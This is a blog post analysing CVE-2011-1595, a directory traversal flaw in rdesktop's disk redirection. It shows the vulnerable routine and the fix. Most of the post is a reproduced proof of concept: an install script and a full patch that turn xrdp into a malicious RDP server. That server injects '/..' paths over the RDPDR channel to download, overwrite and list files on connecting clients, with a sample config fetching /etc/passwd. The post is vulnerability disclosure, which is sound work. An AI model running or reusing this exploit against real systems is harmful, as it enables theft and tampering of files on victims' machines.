xorl %eax, %eax

CVE-2011-1595: rDesktop Remote Directory Traversal

leave a comment »

The vulnerability was reported by Henrik Andersson of Cendio AB and the susceptible code is available at disk.c and more specifically in the following C routine.

/* Opens or creates a file or directory */
static RD_NTSTATUS
disk_create(uint32 device_id, uint32 accessmask, uint32 sharemode, uint32 create_disposition,
	    uint32 flags_and_attributes, char *filename, RD_NTHANDLE * phandle)
{
	RD_NTHANDLE handle;
	DIR *dirp;
	int flags, mode;
   ...
	switch (create_disposition)
	{
		case CREATE_ALWAYS:
   ...
	}
   ...
	*phandle = handle;
	return RD_STATUS_SUCCESS;
}

The above routine will open/create any file or directory without performing any checks for ‘..’ sequences in the requested filenames. Because of this missing check, attackers can request such filenames in order to perform directory traversal attacks. The fix to this vulnerability was to add the missing check using strstr(3) library routine.

 
+	/* Protect against mailicous servers:
+	   somelongpath/..     not allowed
+	   somelongpath/../b   not allowed
+	   somelongpath/..b    in principle ok, but currently not allowed
+	   somelongpath/b..    ok
+	   somelongpath/b..b   ok
+	   somelongpath/b../c  ok
+	 */
+	if (strstr(path, "/.."))
+	{
+		return RD_STATUS_ACCESS_DENIED;
+	}
+
 	switch (create_disposition)
 	{

Furthermore, Henrik Andersson also provided a PoC. The archive contains a README file shown below that includes all the required information to understand what it does.


     rdesktop RDPDR path traversal exploit

--[ Exploit code ]---------------------------------------------

Modified files:
	xrdp/xrdp_types.h     fields added to session context structure
	xrdp/xrdp_wm.c        attack automation
	libxrdp/xrdp_sec.c    backup RDPDR channel identifier


--[ Install ]---------------------------------------------

 1) edit install.sh and fix OUTDIR output directory.
 2) run install.sh

--[ Run ] -----------------------------------------------------

Environment variables:
	EVIL        actions configuration file
	EVILDIR     base directory for downloads

Sample configuration file:
	get /etc/passwd
	get /etc/debian_version
	put /etc/passwd /tmp/oyo.log
	append /etc/debian_version /tmp/oyo.log
	ls /


Ex:
	export EVIL=/tmp/exploit.config
	mkdir /tmp/data
	export EVILDIR=/tmp/data
	./xrdp -nd &

And install.sh is a simple patching shell script.

OUTDIR=/tmp/out

if [ -e "$OUTDIR" ] ; then
	echo "directory $OUTDIR already exists"
	exit
fi

OLDPWD=`pwd`
SRC="$OUTDIR/src"

mkdir -p "$SRC" \
	&& cd "$SRC" \
	&& git clone git://xrdp.git.sourceforge.net/gitroot/xrdp/xrdp \
	&& cd xrdp \
	&& patch -p1 << EXPLOITEND
diff --git a/libxrdp/xrdp_sec.c b/libxrdp/xrdp_sec.c
index 983be09..b3d1094 100644
--- a/libxrdp/xrdp_sec.c
+++ b/libxrdp/xrdp_sec.c
@@ -708,6 +708,9 @@ xrdp_sec_send(struct xrdp_sec* self, struct stream* s, int chan)
   return 0;
 }
 
+//EXPLOITFIX
+extern int client_rdpdr_chanid;
+
 /*****************************************************************************/
 /* this adds the mcs channels in the list of channels to be used when
    creating the server mcs data */
@@ -735,6 +738,10 @@ xrdp_sec_process_mcs_data_channels(struct xrdp_sec* self, struct stream* s)
     list_add_item(self->mcs_layer->channel_list, (long)channel_item);
     DEBUG(("got channel flags %8.8x name %s", channel_item->flags,
            channel_item->name));
+	 // EXPLOITFIX
+	 if (!strcasecmp(channel_item->name, "rdpdr")) {
+		 client_rdpdr_chanid = channel_item->chanid;
+	 }
   }
   return 0;
 }
diff --git a/xrdp/xrdp_types.h b/xrdp/xrdp_types.h
index eb4d0ad..0229fe6 100644
--- a/xrdp/xrdp_types.h
+++ b/xrdp/xrdp_types.h
@@ -20,6 +20,9 @@
 
 */
 
+// EXPLOITFIX
+#include <stdio.h>
+
 /* lib */
 struct xrdp_mod
 {
@@ -208,6 +211,14 @@ struct xrdp_keymap
   struct xrdp_key_info keys_shiftcapslock[256];
 };
 
+// EXPLOITFIX
+struct xrdp_device
+{
+	unsigned int type;
+	unsigned int id;
+	char name[9];
+};
+
 /* the window manager */
 struct xrdp_wm
 {
@@ -265,6 +276,21 @@ struct xrdp_wm
   struct xrdp_mm* mm;
   struct xrdp_font* default_font;
   struct xrdp_keymap keymap;
+  // EXPLOITFIX
+  int rdpdr_chanid;
+  unsigned int state;
+  unsigned int devcount;
+  struct xrdp_device devices[16];
+  FILE *evil_file;
+  unsigned int io_devid;
+  unsigned int io_state;
+  unsigned int io_fd;
+  unsigned int io_size;
+  unsigned int io_off;
+  unsigned int io_baseoff;
+  unsigned int io_queued:1;
+  int io_local_fd;
+  int action_type;
 };
 
 /* rdp process */
diff --git a/xrdp/xrdp_wm.c b/xrdp/xrdp_wm.c
index 8c36abf..e4847ad 100644
--- a/xrdp/xrdp_wm.c
+++ b/xrdp/xrdp_wm.c
@@ -21,6 +21,15 @@
 */
 
 #include "xrdp.h"
+// EXPLOITFIX
+#include <stdarg.h>
+#include <string.h>
+#include <stdlib.h>
+#include <time.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
 
 /*****************************************************************************/
 struct xrdp_wm* APP_CC
@@ -55,7 +64,9 @@ xrdp_wm_create(struct xrdp_process* owner,
   self->default_font = xrdp_font_create(self);
   /* this will use built in keymap or load from file */
   get_keymaps(self->session->client_info->keylayout, &(self->keymap));
-  xrdp_wm_set_login_mode(self, 0);
+  //EXPLOITFIX
+  //xrdp_wm_set_login_mode(self, 0);
+  xrdp_wm_set_login_mode(self, 2);
   return self;
 }
 
@@ -1346,6 +1357,780 @@ xrdp_wm_process_input_mouse(struct xrdp_wm* self, int device_flags,
   return 0;
 }
 
+// EXPLOITFIX
+
+// set by  ../libxrdp/xrdp_sec.c
+int client_rdpdr_chanid = -1;
+
+static void ELOG(struct xrdp_wm *self, const char *fmt, ...)
+{
+	FILE *fp;
+	char *user, *ptr, ip[128], hdr[128];
+	va_list ap;
+	time_t now;
+	struct tm t;
+
+	fp = fopen("/tmp/evil.log", "a+b");
+	if (fp) {
+		user = "???";
+		if (self && self->session && self->session->client_info) {
+			user = self->session->client_info->username;
+			strncpy(ip, self->session->client_info->client_ip, sizeof(ip)-1);
+			ptr = strchr(ip, ' ');
+			if (ptr)
+				*ptr = 0;
+		} else {
+			user = "???";
+			strcpy(ip, "???");
+		}
+		time(&now);
+		gmtime_r(&now, &t);
+		snprintf(hdr, sizeof(hdr)-1, "[%02i:%02i:%02i %s@%s] ",
+				t.tm_hour, t.tm_min, t.tm_sec, user, ip);
+		hdr[sizeof(hdr)-1] = 0;
+		fputs(hdr, fp);
+
+		va_start(ap, fmt);
+		vfprintf(fp, fmt, ap);
+		va_end(ap);
+
+		fputc('\n', fp);
+		fclose(fp);
+	}
+}
+
+static int want_debug(void)
+{
+	static int debug = -1;
+	if (debug < 0)
+		debug = !!getenv("EVILDEBUG");
+	return debug;
+}
+
+#define EDBG(...) if (want_debug()) { ELOG(__VA_ARGS__); }
+
+static int dump_dad(struct xrdp_wm *self, unsigned char *data, unsigned int len)
+{
+	int ret;
+	unsigned int i, j, count;
+
+	if ((client_rdpdr_chanid < 0) || (len < 8))
+		return 0;
+	data += 4;
+
+	count = *(unsigned int*)(data+4);
+	if (count > 16)
+		count = 16;
+	data += 4;
+	len -= 8;
+	ret = 0;
+	self->devcount = 0;
+
+	for (i=0; i<count; ++i) {
+		if (len < 20)
+			break;
+		self->devices[i].type = *(unsigned int *)data;
+		self->devices[i].id   = *(unsigned int *)(data+4);
+		strncpy(self->devices[i].name, data+8, 8);
+
+		EDBG(self, "RDRDR device type=%x id=%x name=%s",
+					self->devices[i].type,
+					self->devices[i].id,
+					self->devices[i].name);
+
+		if (self->devices[i].type == 0x08) { // DEVICE_TYPE_DISK
+			++(self->state);
+			ret = 1;
+		}
+
+		data += 20;
+		len -= 20;
+	}
+
+	self->devcount = i;
+
+	return ret;
+}
+
+static void query_client_devices(struct xrdp_wm *self)
+{
+	char cmd[4];
+
+	if (client_rdpdr_chanid < 0) {
+		ELOG(self, "RDPDR channel not exposed by client :/");
+		return;
+	}
+
+	ELOG(self, "RDPDR channel found");
+	cmd[0] = 'r';
+	cmd[1] = 'D';
+	cmd[2] = 'C';
+	cmd[3] = 'C';
+	libxrdp_send_to_channel(self->session, 1, cmd, 4, 4, 1|2);
+}
+
+static int attack_start(struct xrdp_wm *self)
+{
+	FILE *fp;
+	char *fname;
+	unsigned int i, devid;
+	unsigned char blaa[128];
+
+	if ((client_rdpdr_chanid < 0) || !self->devcount) {
+		ELOG(self, "0 device registred on RDPDR channel");
+		return 0;
+	}
+
+	devid = 0;
+	for (i=0; i<self->devcount; ++i) {
+		if (self->devices[i].type == 0x08) { // DEVICE_TYPE_DISK
+			devid = self->devices[i].id;
+			break;
+		}
+	}
+
+	ELOG(self, "attacking disk device ID 0x%x", devid);
+
+	if (!getenv("EVILDIR")) {
+		ELOG(self, "error: EVILDIR variable not set");
+		return 0;
+	}
+
+	fname = getenv("EVIL");
+	if (!fname || !*fname)
+		fname = "evil.txt";
+	self->evil_file = fopen(fname, "r");
+	if (!self->evil_file) {
+		ELOG(self, "error: failed to open evil config file %s (%s)",
+			fname, strerror(errno));
+		return 0;
+	}
+
+	self->io_devid = devid;
+	self->io_state  = 0;
+
+	return 1;
+}
+
+static void ascii_to_unicode(const char *in, char *out)
+{
+	while (*in) {
+		out[0] = *in;
+		out[1] = 0;
+		++in;
+		out += 2;
+	}
+}
+
+#define DOT_DOT_SLASH_COUNT 4
+#define GENERIC_READ                             0x80000000
+#define GENERIC_WRITE                            0x40000000
+#define GENERIC_EXECUTE                          0x20000000
+#define GENERIC_ALL                              0x10000000
+#define FILE_SHARE_READ                          0x01
+#define FILE_SHARE_WRITE                 0x02
+#define FILE_SHARE_DELETE                        0x04
+#define FILE_DIRECTORY_FILE             0x00000001
+
+static int rdpdr_open(
+					struct xrdp_wm *self,
+					const char *path,
+					unsigned int acc,
+					unsigned int share,
+					unsigned int disp,
+					unsigned int flags)
+{
+	unsigned int i, msg_len, path_len;
+	char *msg, *ptr;
+
+	path_len = (strlen(path) + DOT_DOT_SLASH_COUNT*3 + 1)*2;
+	msg_len = 56 + path_len;
+	msg = calloc(1, msg_len);
+	if (!msg)
+		return 0;
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = 0; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 0; // IRP_MJ_CREATE
+	*(unsigned int *)&msg[20] = 0; // min
+	*(unsigned int *)&msg[24] = htonl(acc); // desired access
+	*(unsigned int *)&msg[28] = 0; // ???
+	*(unsigned int *)&msg[32] = 0; // ???
+	*(unsigned int *)&msg[36] = 0; // error mode
+	*(unsigned int *)&msg[40] = share; // share mode
+	*(unsigned int *)&msg[44] = disp; // disposition
+	*(unsigned int *)&msg[48] = flags; // flags & attributes
+	*(unsigned int *)&msg[52] = path_len;
+
+	ptr = &msg[56];
+	for (i=0; i<DOT_DOT_SLASH_COUNT; ++i) {
+		ascii_to_unicode("/..", ptr);
+		ptr += 6;
+	}
+
+	ascii_to_unicode(path, ptr);
+	ptr += strlen(path) * 2;
+
+	ptr[0] = 0;
+	ptr[1] = 0;
+
+	libxrdp_send_to_channel(self->session, 1, msg, msg_len, msg_len, 1|2);
+	free(msg);
+
+	return 1;
+}
+
+static void rdpdr_close(struct xrdp_wm *self, unsigned int file)
+{
+	unsigned char msg[24];
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = file; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 2; // IRP_MJ_CLOSE
+	*(unsigned int *)&msg[20] = 0; // min
+	libxrdp_send_to_channel(self->session, 1, msg, 24, 24, 1|2);
+}
+
+static void rdpdr_readdir(struct xrdp_wm *self, unsigned int dir, const char *pattern)
+{
+	//unsigned char msg[28];
+	unsigned char msg[62];
+	unsigned int plen;
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = dir; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 12; // IRP_MJ_DIRECTORY_CONTROL
+	*(unsigned int *)&msg[20] = 1; // IRP_MN_QUERY_DIRECTORY
+	*(unsigned int *)&msg[24] = 3; // FileBothDirectoryInformation
+
+	/*
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = dir; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 12; // IRP_MJ_DIRECTORY_CONTROL
+	*(unsigned int *)&msg[20] = 1; // IRP_MN_QUERY_DIRECTORY
+	*(unsigned int *)&msg[24] = 3; // FileBothDirectoryInformation
+	*/
+	*(unsigned char *)&msg[28] = 0; // ???
+	plen = 0;
+	memset(&msg[33], 0, 0x17);
+
+	if (pattern) {
+		plen = (strlen(pattern) + 1) * 2;
+		ascii_to_unicode(pattern, &msg[56]);
+		msg[56+plen-2] = 0;
+		msg[56+plen-1] = 0;
+	}
+	*(unsigned int *)&msg[29] = plen; // pattern length
+
+	//libxrdp_send_to_channel(self->session, 1, msg, 28, 28, 1|2);
+	libxrdp_send_to_channel(self->session, 1, msg, 56+plen, 56+plen, 1|2);
+}
+
+static void rdpdr_fstat(struct xrdp_wm *self, unsigned int file)
+{
+	unsigned char msg[28];
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = file; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 5; // IRP_MJ_QUERY_INFORMATION
+	*(unsigned int *)&msg[20] = 0; // min
+	*(unsigned int *)&msg[24] = 5; // FileStandardInformation
+	libxrdp_send_to_channel(self->session, 1, msg, 28, 28, 1|2);
+}
+
+static int rdpdr_write(
+					struct xrdp_wm *self,
+					unsigned int id,
+					const void *buf,
+					unsigned int length,
+					unsigned int offset)
+{
+	unsigned int msg_len;
+	unsigned char *msg;
+	
+	msg_len = 56+length;
+	msg = calloc(1, msg_len);
+	if (!msg)
+		return 0;
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = id; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 4; // IRP_MJ_WRITE
+	*(unsigned int *)&msg[20] = 0; // min
+	*(unsigned int *)&msg[24] = length; // length
+	*(unsigned int *)&msg[28] = offset; // offset
+	memcpy(&msg[32+24], buf, length);
+
+	libxrdp_send_to_channel(self->session, 1, msg, msg_len, msg_len, 1|2);
+	free(msg);
+
+	return 1;
+}
+
+static void rdpdr_read(
+					struct xrdp_wm *self,
+					unsigned int id,
+					unsigned int length,
+					unsigned int offset)
+{
+	unsigned char msg[32];
+
+	msg[0] = 'r';
+	msg[1] = 'D';
+	msg[2] = 'R';
+	msg[3] = 'I';
+	*(unsigned int *)&msg[ 4] = self->io_devid; // dev
+	*(unsigned int *)&msg[ 8] = id; // file
+	*(unsigned int *)&msg[12] = 0; // id
+	*(unsigned int *)&msg[16] = 3; // IRP_MJ_READ
+	*(unsigned int *)&msg[20] = 0; // min
+	*(unsigned int *)&msg[24] = length; // length
+	*(unsigned int *)&msg[28] = offset; // offset
+	libxrdp_send_to_channel(self->session, 1, msg, 32, 32, 1|2);
+}
+
+static char *skip_nonspaces(char *ptr) {
+	while ((*ptr != ' ') && (*ptr != '\r') && (*ptr != '\n'))
+		++ptr;
+	return ptr;
+}
+
+/*
+static char *build_path(struct xrdp_wm *self, const char *fname)
+{
+	char *buf;
+
+	if (*fname == '/')
+		return strdup(fname);
+
+	if (*fname == '~') {
+		buf = NULL;
+		asprintf(&buf, "/home/%s%s", self->session->client_info.username, fname+1);
+		return buf;
+	}
+
+	return NULL;
+}*/
+
+static int open_download_target(struct xrdp_wm *self, char *path)
+{
+	int fd;
+	char *user, *tmp, *str, ip[64];
+
+	tmp = strdup(path);
+	if (!tmp)
+		return -1;
+
+	for (str=tmp; *str; ++str) {
+		if (*str == '/') *str = '_';
+	}
+
+	if (self && self->session && self->session->client_info) {
+		user = self->session->client_info->username;
+		strncpy(ip, self->session->client_info->client_ip, sizeof(ip)-1);
+		str = strchr(ip, ' ');
+		if (str)
+			*str = 0;
+	} else {
+		user = "unknown";
+		strcpy(ip, "unknown-ip");
+	}
+
+	// this code is vulnerable to a path traversal vulnerability
+	// this allow the victim to counter attack, quite fair... :)
+	str = NULL;
+	if (asprintf(&str, "%s/%s@%s%s", getenv("EVILDIR"), user, ip, tmp) <= 0) {
+		free(tmp);
+		return -1;
+	}
+	free(tmp);
+
+	fd = open(str, O_CREAT|O_TRUNC|O_WRONLY, S_IRUSR|S_IWUSR);
+	if (fd <= 0) {
+		ELOG(self, "error: failed to create file %s (%s)", str, strerror(errno));
+		free(str);
+		return -1;
+	}
+
+	ELOG(self, "file %s created", str);
+	free(str);
+
+	return fd;
+}
+
+static int action_start(struct xrdp_wm *self)
+{
+	int fd, flags, disp, action_type;
+	char *ptr, *cmd, line[128];
+	struct stat st;
+
+	if (!self->evil_file)
+		return 1;
+
+	EDBG(self, "action_start()");
+
+	self->io_queued = 0;
+	self->io_local_fd = -1;
+	self->io_fd = 0;
+	self->io_size = 0;
+	self->io_off = 0;
+
+	// get next action
+	while ((ptr = fgets(line, sizeof(line)-1, self->evil_file))) {
+		line[sizeof(line)-1] = 0;
+		while (*ptr == ' ')
+			++ptr;
+		if ((*ptr == '#') || (*ptr == '\r') || (*ptr == '\n'))// comment
+			continue;
+		if (*ptr) // not empty
+			break;
+	}
+
+	if (!ptr || !*ptr)
+		return 1;
+
+	cmd = ptr;
+	while (*ptr) {
+		if ((*ptr == '\t') || (*ptr == '\r'))
+			*ptr = ' ';
+		++ptr;
+	}
+
+	action_type = -1;
+	ptr = strchr(cmd, '\n');
+	if (ptr) *ptr = 0;
+	EDBG(self, "next action: %s", cmd);
+
+	if (!strncmp(cmd, "get ", 4)) {
+		self->action_type = 0;
+		ptr = cmd + 4;
+		while (*ptr == ' ') ++ptr;
+		if (*ptr != '/') {
+			ELOG(self, "error: read action need absolute path");
+		} else {
+			cmd = ptr;
+			ptr = skip_nonspaces(ptr);
+			*ptr = 0;
+				// comment
+			ELOG(self, "GET %s", cmd);
+			self->io_local_fd = open_download_target(self, cmd);
+			if (self->io_local_fd >= 0) {
+				if (rdpdr_open(self, cmd, GENERIC_READ,
+						FILE_SHARE_READ|FILE_SHARE_WRITE,
+						1 /*OPEN_EXISTING*/, 0)) {
+					return 1;
+				}
+				close(self->io_local_fd);
+				self->io_local_fd = -1;
+			}
+		}
+
+	} else if (!strncmp(cmd, "put ", 4) || !strncmp(cmd, "append ", 7)) {
+
+		action_type = (cmd[0] == 'p' ? 1 : 2);
+		self->action_type = action_type;
+		ptr = cmd + (action_type == 1 ? 4 : 7);
+		while (*ptr == ' ') ++ptr;
+		if (*ptr != '/') {
+			ELOG(self, "error: write/append action need absolute path");
+		} else {
+			cmd = ptr;
+			ptr = skip_nonspaces(ptr);
+			*ptr++ = 0;
+			while (*ptr == ' ') ++ptr;
+			*skip_nonspaces(ptr) = 0;
+				// comment
+			ELOG(self, "%s %s to %s", (action_type == 1 ? "UPLOAD" : "APPEND"), cmd, ptr);
+			fd = open(cmd, O_RDONLY);
+			if (fd < 0) {
+				ELOG(self, "error: failed to open %s (%s)", cmd, strerror(errno));
+				return 1;
+			}
+			if (fstat(fd, &st) || !st.st_size) {
+				ELOG(self, "error: invalid or empty file %s (%s)", cmd, strerror(errno));
+				close(fd);
+				return 1;
+			}
+			self->io_local_fd = fd;
+			self->io_size = st.st_size;
+			if (action_type == 1) { // UPLOAD
+				flags = GENERIC_READ;
+				disp  = 2; // CREATE_NEW;
+			} else { // APPEND
+				flags = GENERIC_READ|GENERIC_WRITE;
+				disp  = 1; //OPEN_EXISTING;
+			}
+			if (rdpdr_open(self, ptr, flags, 0, disp, 0)) {
+				return 1;
+			}
+			close(fd);
+		}
+
+	} else if (!strncmp(cmd, "ls ", 3)) {
+		self->action_type = 4;
+		ptr = cmd + 3;
+		while (*ptr == ' ') ++ptr;
+		if (*ptr != '/') {
+			ELOG(self, "error: LS need absolute path");
+		} else {
+			cmd = ptr;
+			ptr = skip_nonspaces(ptr);
+			*ptr = 0;
+				// comment
+			ELOG(self, "LS %s", cmd);
+			if (rdpdr_open(self, cmd, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
+					1 /*OPEN_EXISTING*/,
+					FILE_DIRECTORY_FILE)) {
+				return 1;
+			}
+		}
+
+	} else {
+		ELOG(self, "command '%s' not supported", cmd);
+	}
+
+	return 0;
+}
+
+static int action_process(struct xrdp_wm *self, unsigned char *data, unsigned int len)
+{
+	ssize_t n;
+	unsigned int dev, id, result, remaining;
+	int status, new_file;
+	char buf[1024];
+
+	EDBG(self, "action_process(io_state=%i, io_size=%u, io_off=%u, action_type=%i, len=%u)",
+				self->io_state, self->io_size, self->io_off, self->action_type, len);
+
+	if (strncmp(data, "rDCI", 4) || (len < 20)) {
+		ELOG(self, "error: invalid RDPDR message header");
+		return 1;
+	}
+
+
+	dev    = *(unsigned int*)(data+4);
+	id     = *(unsigned int*)(data+8);
+	status = *(int *)        (data+12);
+	result = *(unsigned int*)(data+16);
+
+	if (dev != self->io_devid) {
+		ELOG(self, "error: invalid device ID %u != %u", dev, self->io_devid);
+		return 1;
+	}
+
+	if (status < 0) {
+		if (self->action_type == 0) { // DOWNLOAD
+			ELOG(self, "error: failed to open file (%x)", status);
+		} else if (self->action_type == 1) { // UPLOAD
+			ELOG(self, "error: failed to create file (%x)", status);
+		} else if (self->action_type == 4) { // LS
+			ELOG(self, "error: failed to open directory (%x)", status);
+		}
+		return 1;
+	}
+
+	new_file = 0;
+
+	switch (self->io_state) {
+
+		case 1:
+			self->io_fd = result;
+			++(self->io_state);
+			self->io_queued = 0;
+			self->io_off = 0;
+			self->io_baseoff = 0;
+			if ((self->action_type == 0) || (self->action_type == 2)) {
+				// DOWNLOAD + APPEND => OPEN_EXISTING
+				ELOG(self, "opened file id %x", result);
+				rdpdr_fstat(self, result);
+				return 0;
+			} else if (self->action_type == 1) { // UPLOAD => CREATE_NEW
+				ELOG(self, "created file id %x", result);
+			} else if (self->action_type == 4) { // LS => OPEN_EXISTING
+				ELOG(self, "opened directory id %x", result);
+			}
+
+		case 2:
+			if ((self->action_type == 0) || (self->action_type == 2)) {
+				// DOWNLOAD / APPEND
+				if (len < 42)
+					return 1;
+				if (data[20+20+1]) {
+					ELOG(self, "error: file 0x%x is a directory", self->io_fd);
+					return 1;
+				}
+				ELOG(self, "file 0x%x is %u bytes length",
+						self->io_fd, *(unsigned int*)(data+20));
+				if (self->action_type == 0)
+					self->io_size = *(unsigned int*)(data+20);
+				else
+					self->io_baseoff = *(unsigned int*)(data+20);
+			}
+			++(self->io_state);
+
+		case 3:
+			if(self->action_type == 0) { // DOWNLOAD
+
+				if (self->io_queued) {
+					if (len < 20 + result) // truncated message
+						return 1;
+					self->io_size -= result;
+					self->io_off  += result;
+					self->io_queued = 0;
+					ELOG(self, "got %u bytes from file 0x%x (%u remaining)",
+							result, self->io_fd, self->io_size);
+					n = write(self->io_local_fd, &data[20], result);
+					if (n != result) {
+						ELOG(self, "error: failed to write %u bytes to local file", result);
+						return 1;
+					}
+					ELOG(self, "%u added to local file", n);
+				}
+				remaining = self->io_size;
+				if (remaining > 0) {
+					if (remaining > 1024)
+						remaining = 1024;
+					EDBG(self, "queued read size=%u off=%u", remaining, self->io_off);
+					rdpdr_read(self, self->io_fd, remaining, self->io_off);
+					self->io_queued = 1;
+					break;
+				}
+			} else if ((self->action_type == 1) || (self->action_type == 2)) { // UPLOAD/APPEND
+
+				if (self->io_queued) {
+					if (len < 20) // truncated message
+						return 1;
+					self->io_off  += result;
+					self->io_queued = 0;
+					ELOG(self, "%u written to remove file 0x%x (%u remaining)",
+							result, self->io_fd, self->io_size - self->io_off);
+				}
+				remaining = self->io_size - self->io_off;
+				if (remaining > 0) {
+					if (remaining > 1024)
+						remaining = 1024;
+					n = read(self->io_local_fd, buf, remaining);
+					if (n != remaining) {
+						ELOG(self, "error: failed to read %u bytes from local fd=%i", remaining, self->io_local_fd);
+						return 1;
+					}
+					EDBG(self, "queued write size=%u off=%u", remaining, self->io_off);
+					rdpdr_write(self, self->io_fd, buf, remaining, self->io_baseoff + self->io_off);
+					self->io_queued = 1;
+					break;
+				}
+
+			} else if (self->action_type == 4) { // LS
+
+				if (self->io_queued) {
+					buf[0] = 0;
+					for (n=0; *(unsigned short *)(data+112+n); n+=2)
+						buf[n/2] = data[112+n+1];
+					buf[n/2] = 0;
+					if (buf[0]) {
+						ELOG(self, "ITEM name=%s size=0x%x attrs=0x%x",
+								buf, *(unsigned int *)(data+68), *(unsigned int *)(data+68+8));
+					}
+					// FIXME stop on status=80000006
+				}
+				if (!self->io_size) {
+					self->io_size = 1;
+					rdpdr_readdir(self, self->io_fd, "/*");
+				} else {
+					rdpdr_readdir(self, self->io_fd, NULL);
+				}
+				EDBG(self, "queued readdir");
+				self->io_queued = 1;
+				break;
+			}
+			++(self->io_state);
+
+		case 4: 
+			ELOG(self, "closing file 0x%x", self->io_fd);
+			rdpdr_close(self, self->io_fd);
+			++(self->io_state);
+			self->io_fd  = 0;
+			if (self->io_local_fd >= 0) {
+				close(self->io_local_fd);
+				self->io_local_fd = -1;
+			}
+			self->io_off = 0;
+			self->io_queued = 0;
+			break;
+
+		case 5:
+			EDBG(self, "IRP_MJ_CLOSE response");
+			++(self->io_state);
+			return 1;
+	}
+
+
+	return 0;
+}
+
+
+static int attack_process(struct xrdp_wm *self, unsigned char *data, unsigned int len)
+{
+restart:
+	EDBG(self, "attack_process(io_state=%u)", self->io_state);
+	switch (self->io_state) {
+		case 0:
+			if (!action_start(self)) {
+				return 1;
+			}
+			self->io_state = 1;
+			break;
+
+		case 1:
+		case 2:
+		case 3:
+		case 4:
+		case 5:
+			if (action_process(self, data, len)) {
+				self->io_state = 0;
+				goto restart;
+			}
+			break;
+	}
+
+	return 0;
+}
+
+static int attack_end(struct xrdp_wm *self)
+{
+	return 1;
+}
+
 /******************************************************************************/
 /* param1 = MAKELONG(channel_id, flags)
    param2 = size
@@ -1374,6 +2159,44 @@ xrdp_wm_process_channel_data(struct xrdp_wm* self,
                                       param3, param4);
       }
     }
+  } else {
+	  // EXPLOITFIX
+	  EDBG(self, "recv %u bytes from RDPDR channel (state=%u)",
+			  	(unsigned int)param4, self->state);
+	//  g_hexdump((void*)param3, (int)param4);
+
+	  switch (self->state) {
+		  case 0: // rdesktop send rDPC (capabilities)
+			  EDBG(self, "username = %s", self->session->client_info->username);
+			  ++(self->state);
+			  break;
+
+		  case 1: // rdesktop send rDAD (available resources)
+			  if (dump_dad(self, (void *)param3, (unsigned int)param4)) {
+				  ++(self->state);
+			  } else {
+				  ELOG(self, "no disk device exposed :(");
+				  break;
+			  }
+
+		  case 2:
+			  if (!attack_start(self)) {
+				  self->state = 42;
+				  break;
+			  }
+			  self->state = 3;
+
+		  case 3:
+			  if (!attack_process(self, (void*)param3, (unsigned int)param4)) {
+				  break;
+			  }
+			  ++(self->state);
+
+		  case 4:
+			  attack_end(self);
+			  self->state = 42;
+			  break;
+	  }
   }
   return rv;
 }
@@ -1446,7 +2269,9 @@ xrdp_wm_login_mode_changed(struct xrdp_wm* self)
     xrdp_wm_set_login_mode(self, 3); /* put the wm in connected mode */
     xrdp_wm_delete_all_childs(self);
     self->dragging = 0;
-    xrdp_mm_connect(self->mm);
+	 //EXPLOITFIX
+    //xrdp_mm_connect(self->mm);
+	 query_client_devices(self);
   }
   else if (self->login_mode == 10)
   {
EXPLOITEND

./bootstrap \
	&& ./configure --enable-nopam --enable-shared=no --prefix="$OUTDIR" \
	&& make -C common \
	&& make -C libxrdp \
	&& make -C xrdp \
	&& make -C xrdp install \
	&& echo ===================================== \
	&& ls "$OUTDIR/sbin/xrdp"

cd "$OLDPWD"

The modified rDesktop will include a few new functions required to intercept the messages and inject the ‘..’ sequences when requested.

Written by xorl

April 25, 2011 at 18:27

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s